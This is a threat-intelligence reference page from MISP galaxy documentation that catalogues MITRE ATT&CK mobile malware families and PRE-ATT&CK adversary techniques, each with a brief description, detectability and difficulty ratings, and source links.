The tag is: *misp-galaxy:mitre-mobile-attack-malware="PJApps - MOB-S0007"*

PJApps - MOB-S0007 is also known as:

- PJApps

PJApps - MOB-S0007 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Local Network Configuration Discovery - MOB-T1025" with estimative-language:likelihood-probability="almost-certain"

Table 2663. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0007
https://blog.lookout.com/blog/2016/05/25/spoofed-apps/

AndroidOverlayMalware - MOB-S0012

Android malware analyzed by FireEye (Citation: FireEye-AndroidOverlay). According to their analysis, "three campaigns in Europe used view overlay techniques…to present nearly identical credential input UIs as seen in benign apps, subsequently tricking unwary users into providing their banking credentials."

Aliases: AndroidOverlayMalware

The tag is: *misp-galaxy:mitre-mobile-attack-malware="AndroidOverlayMalware - MOB-S0012"*

AndroidOverlayMalware - MOB-S0012 is also known as:

- AndroidOverlayMalware

AndroidOverlayMalware - MOB-S0012 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="User Interface Spoofing - MOB-T1014" with estimative-language:likelihood-probability="almost-certain"

Table 2664. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0012
https://www.fireeye.com/blog/threat-research/2016/06/latest-android-overlay-malware-spreading-in-europe.html

ZergHelper - MOB-S0003

As described by Palo Alto Networks (Citation: ZergHelper), the (Citation: ZergHelper) app uses techniques to evade Apple’s App Store review process for itself and uses techniques to install additional applications that are not in Apple’s App Store.

Aliases: (Citation: ZergHelper)

The tag is: *misp-galaxy:mitre-mobile-attack-malware="ZergHelper - MOB-S0003"*

ZergHelper - MOB-S0003 is also known as:

- ZergHelper

ZergHelper - MOB-S0003 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Detect App Analysis Environment - MOB-T1043" with estimative-language:likelihood-probability="almost-certain"

Table 2665. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0003
http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/

SpyNote RAT - MOB-S0021

SpyNote RAT (Citation: Zscaler-SpyNote) (Remote Access Trojan) is a family of malicious Android apps. The "SpyNote RAT builder" tool can be used to develop malicious apps with the SpyNote RAT functionality.

Aliases: SpyNote RAT

The tag is: *misp-galaxy:mitre-mobile-attack-malware="SpyNote RAT - MOB-S0021"*

SpyNote RAT - MOB-S0021 is also known as:

- SpyNote RAT

SpyNote RAT - MOB-S0021 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Capture SMS Messages - MOB-T1015" with estimative-language:likelihood-probability="almost-certain"

Table 2666. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0021
https://www.zscaler.com/blogs/research/spynote-rat-posing-netflix-app

RCSAndroid - MOB-S0011

```
(Citation: RCSAndroid) (Citation: RCSAndroid) is Android malware allegedly distributed
by Hacking Team.
```

Aliases: (Citation: RCSAndroid)

The tag is: *misp-galaxy:mitre-mobile-attack-malware="RCSAndroid - MOB-S0011"*

RCSAndroid - MOB-S0011 is also known as:

- RCSAndroid

RCSAndroid - MOB-S0011 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Download New Code at Runtime - MOB-T1010" with estimative-language:likelihood-probability="almost-certain"

Table 2667. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0011
https://github.com/hackedteam/core-android/tree/master/RCSAndroid

Charger - MOB-S0039

The Charger Android malware steals "steals contacts and SMS messages from the user’s device". It also "asks for admin permissions" and "[i]f granted, the ransomware locks the device and displays a message demanding payment". (Citation: CheckPoint-Charger)

Aliases: Charger

The tag is: *misp-galaxy:mitre-mobile-attack-malware="Charger - MOB-S0039"*

Charger - MOB-S0039 is also known as:

- Charger

Charger - MOB-S0039 has relationships with:

- similar: misp-galaxy:malpedia="Charger" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Access Contact List - MOB-T1035" with estimative-language:likelihood-probability="almost-certain"

Table 2668. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0039
http://blog.checkpoint.com/2017/01/24/charger-malware/

YiSpecter - MOB-S0027

iOS malware that "is different from previous seen iOS malware in that it attacks both jailbroken and non-jailbroken iOS devices" and "abuses private APIs in the iOS system to implement malicious functionalities" (Citation: PaloAlto-YiSpecter).

Aliases: YiSpecter

The tag is: *misp-galaxy:mitre-mobile-attack-malware="YiSpecter - MOB-S0027"*

YiSpecter - MOB-S0027 is also known as:

- YiSpecter

YiSpecter - MOB-S0027 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Abuse of iOS Enterprise App Signing Key - MOB-T1048" with estimative-language:likelihood-probability="almost-certain"

Table 2669. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0027

Pegasus for Android - MOB-S0032

Discovered and analyzed by Lookout (Citation: Lookout-PegasusAndroid) and Google (Citation: Google-Chrysaor), Pegasus for Android (also known as Chrysaor) is spyware that was used in targeted attacks. Pegasus for Android does not use zero day vulnerabilities. It attempts to escalate privileges using well-known vulnerabilities, and even if the attempts fail, it still performs some subset of spyware functions that do not require escalated privileges.

Aliases: Pegasus for Android, Chrysaor

The tag is: *misp-galaxy:mitre-mobile-attack-malware="Pegasus for Android - MOB-S0032"*

Pegasus for Android - MOB-S0032 is also known as:

- Pegasus for Android
- Chrysaor

Pegasus for Android - MOB-S0032 has relationships with:

- similar: misp-galaxy:tool="Chrysaor" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Application Discovery - MOB-T1021" with estimative-language:likelihood-probability="almost-certain"

Table 2670. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0032
https://blog.lookout.com/blog/2017/04/03/pegasus-android/
https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html

XcodeGhost - MOB-S0013

iOS malware analyzed by Palo Alto Networks (Citation: (Citation: PaloAlto-XcodeGhost)1) (Citation: PaloAlto-XcodeGhost)

Aliases: XcodeGhost

The tag is: *misp-galaxy:mitre-mobile-attack-malware="XcodeGhost - MOB-S0013"*

XcodeGhost - MOB-S0013 is also known as:

- XcodeGhost

XcodeGhost - MOB-S0013 has relationships with:

- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Capture Clipboard Data - MOB-T1017" with estimative-language:likelihood-probability="almost-certain"

Table 2671. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0013
http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/
http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-phish-passwords-and-open-urls-though-infected-apps/

Mobile Attack - Tool

Name of ATT&CK software.

Mobile Attack - Tool is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Xbot - MOB-S0014

Xbot is a family of Android malware analyzed by Palo Alto Networks (Citation: PaloAlto-Xbot) that "tries to steal victims' banking credentials and credit card information", "can also remotely lock infected Android devices, encrypt the user's files in external storage (e.g., SD card), and then ask for a U.S. $100 PayPal cash card as ransom" and "will steal all SMS message and contact information, intercept certain SMS messages, and parse SMS messages for mTANs (Mobile Transaction Authentication Number) from banks."

Aliases: Xbot

The tag is: *misp-galaxy:mitre-mobile-attack-tool="Xbot - MOB-S0014"*

Xbot - MOB-S0014 is also known as:

- Xbot

Xbot - MOB-S0014 has relationships with:

- similar: misp-galaxy:banker="TinyNuke" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Xbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-mobile-attack-attack-pattern="Capture SMS Messages - MOB-T1015" with estimative-language:likelihood-probability="almost-certain"

Table 2672. Table References

Links
https://attack.mitre.org/mobile/index.php/Software/MOB-S0014
http://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/

Pre Attack - Attack Pattern

ATT&CK tactic.

Pre Attack - Attack Pattern is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Test ability to evade automated mobile application security analysis performed by app stores - PRE-T1170

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Test ability to evade automated mobile application security analysis performed by app stores - PRE-T1170"*

Table 2673. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1170

Obfuscate infrastructure - PRE-T1108

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will generally not have visibility into their infrastructure.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Obfuscate infrastructure - PRE-T1108"*

Obfuscate infrastructure - PRE-T1108 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Obfuscate infrastructure - PRE-T1086" with estimative-language:likelihood-probability="almost-certain"

Table 2674. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1108

Create backup infrastructure - PRE-T1116

Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to those being attacked.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Create backup infrastructure - PRE-T1116"*

Table 2675. Table References

Links

https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1116

Assess targeting options - PRE-T1073

An adversary may assess a target’s operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible). Defender has very infrequent visibility into an adversary’s more detailed TTPs for developing people targets.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case. OSINT can provide many avenues to gather intel which contain weaknesses. Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Assess targeting options - PRE-T1073"*

Table 2676. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1073

Receive operator KITs/KIQs tasking - PRE-T1012

Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Receive operator KITs/KIQs tasking - PRE-T1012"*

Table 2677. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1012

Procure required equipment and software - PRE-T1112

An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Outside of highly specific or rare HW, nearly impossible to detect and track.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Procure required equipment and software - PRE-T1112"*

Table 2678. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1112

Identify security defensive capabilities - PRE-T1040

Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Technically, the defender has the ability to detect. However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense. In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: The adversary will have some insight into defenses based on dropped traffic or filtered responses. It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify security defensive capabilities - PRE-T1040"*

Table 2679. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1040

Derive intelligence requirements - PRE-T1007

Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Derive intelligence requirements - PRE-T1007"*

Table 2680. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1007

Domain Generation Algorithms (DGA) - PRE-T1100

The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: This technique does not require a significant amount of sophistication while still being highly effective. It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Domain Generation Algorithms (DGA) - PRE-T1100"*

Table 2681. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1100

Leverage compromised 3rd party resources - PRE-T1152

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Leverage compromised 3rd party resources - PRE-T1152"*

Table 2682. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1152

Review logs and residual traces - PRE-T1135

Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Review logs and residual traces - PRE-T1135"*

Table 2683. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1135

Identify job postings and needs/gaps - PRE-T1025

Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing open/public information.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Publicly posted information by design. Providing too much detail in the job posting could aid the adversary in learning more about the target's environment and possible technical weaknesses/deficiencies.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify job postings and needs/gaps - PRE-T1025"*

Identify job postings and needs/gaps - PRE-T1025 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Identify job postings and needs/gaps - PRE-T1055" with estimative-language:likelihood-probability="almost-certain"

Table 2684. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1025

Spear phishing messages with malicious attachments - PRE-T1144

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target. However, encryption continues to be a stumbling block. In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging. Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Spear phishing messages with malicious attachments - PRE-T1144"*

Table 2685. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1144

SSL certificate acquisition for trust breaking - PRE-T1115

Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: The certificate authority who is hacked cannot easily see they’ve been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotar (Citation: DigiNotar2016) and [https://www.verisign.com Verisign].

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: One example of it occurring in the real world is the

DigiNotar (Citation: DigiNotar2016) case. To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="SSL certificate acquisition for trust breaking - PRE-T1115"*

Table 2686. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1115

Proxy/protocol relays - PRE-T1081

Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Proxies are readily available for the adversary with both free and cost-based options available.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Proxy/protocol relays - PRE-T1081"*

Table 2687. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1081

Determine domain and IP address space - PRE-T1027

Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Public or easily obtainable information by design.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: AS and IANA data are easily available, existing research tools.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Determine domain and IP address space -*

PRE-T1027"

Table 2688. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1027

Remote access tool development - PRE-T1128

A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Many successful RATs exist for re-use/tailoring in addition to those an adversary may choose to build from scratch. The adversary's capabilities, target sensitivity, and needs will likely determine whether a previous RAT is modified for use a new one is built from scratch.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Remote access tool development - PRE-T1128"*

Table 2689. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1128

Push-notification client-side exploit - PRE-T1150

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique to push an [https://www.apple.com/ios iOS] or [https://www.android.com Android] MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Push-notification client-side exploit - PRE-T1150"*

Table 2690. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1150

Authorized user performs requested cyber action - PRE-T1163

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Authorized user performs requested cyber action - PRE-T1163"*

Table 2691. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1163

Submit KITs, KIQs, and intelligence requirements - PRE-T1014

Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Submit KITs, KIQs, and intelligence requirements - PRE-T1014"*

Table 2692. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1014

Misattributable credentials - PRE-T1099

The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc. Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Misattributable credentials - PRE-T1099"*

Table 2693. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1099

Create strategic plan - PRE-T1008

Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Create strategic plan - PRE-T1008"*

Table 2694. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1008

Assess vulnerability of 3rd party vendors - PRE-T1075

Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: 3rd parties would most likely not report network scans to their partners. Target network would not know that their 3rd party partners were being used as a vector.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: The difficult part is enumerating all 3rd parties. Finding major partners would not be difficult. Significantly easier with insider knowledge. Vulnerability scanning the 3rd party networks is trivial.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Assess vulnerability of 3rd party vendors - PRE-T1075"*

Table 2695. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1075

Authentication attempt - PRE-T1158

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: This is possible with diligent monitoring of login anomalies, expected user behavior/location. If the adversary uses legitimate credentials, it may go undetected.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials. This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Authentication attempt - PRE-T1158"*

Table 2696. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1158

Domain registration hijacking - PRE-T1103

Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Generally not easily detectable unless domain registrar provides alerting on any updates.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Requires adversary to gain access to an email account for person listed as the domain registrar/POC. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Domain registration hijacking - PRE-T1103"*

Table 2697. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1103

Analyze organizational skillsets and deficiencies - PRE-T1077

Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This can be done offline after the data has been collected.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Analyze organizational skillsets and deficiencies - PRE-T1077"*

Analyze organizational skillsets and deficiencies - PRE-T1077 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Analyze organizational skillsets and deficiencies - PRE-T1074" with estimative-language:likelihood-probability="almost-certain"

Table 2698. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1077

Conduct active scanning - PRE-T1031

Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: This technique is an expected and voluminous activity when on the Internet. Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Conduct active scanning - PRE-T1031"*

Table 2699. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1031

Unconditional client-side exploitation/Injected Website/Driveby - PRE-T1149

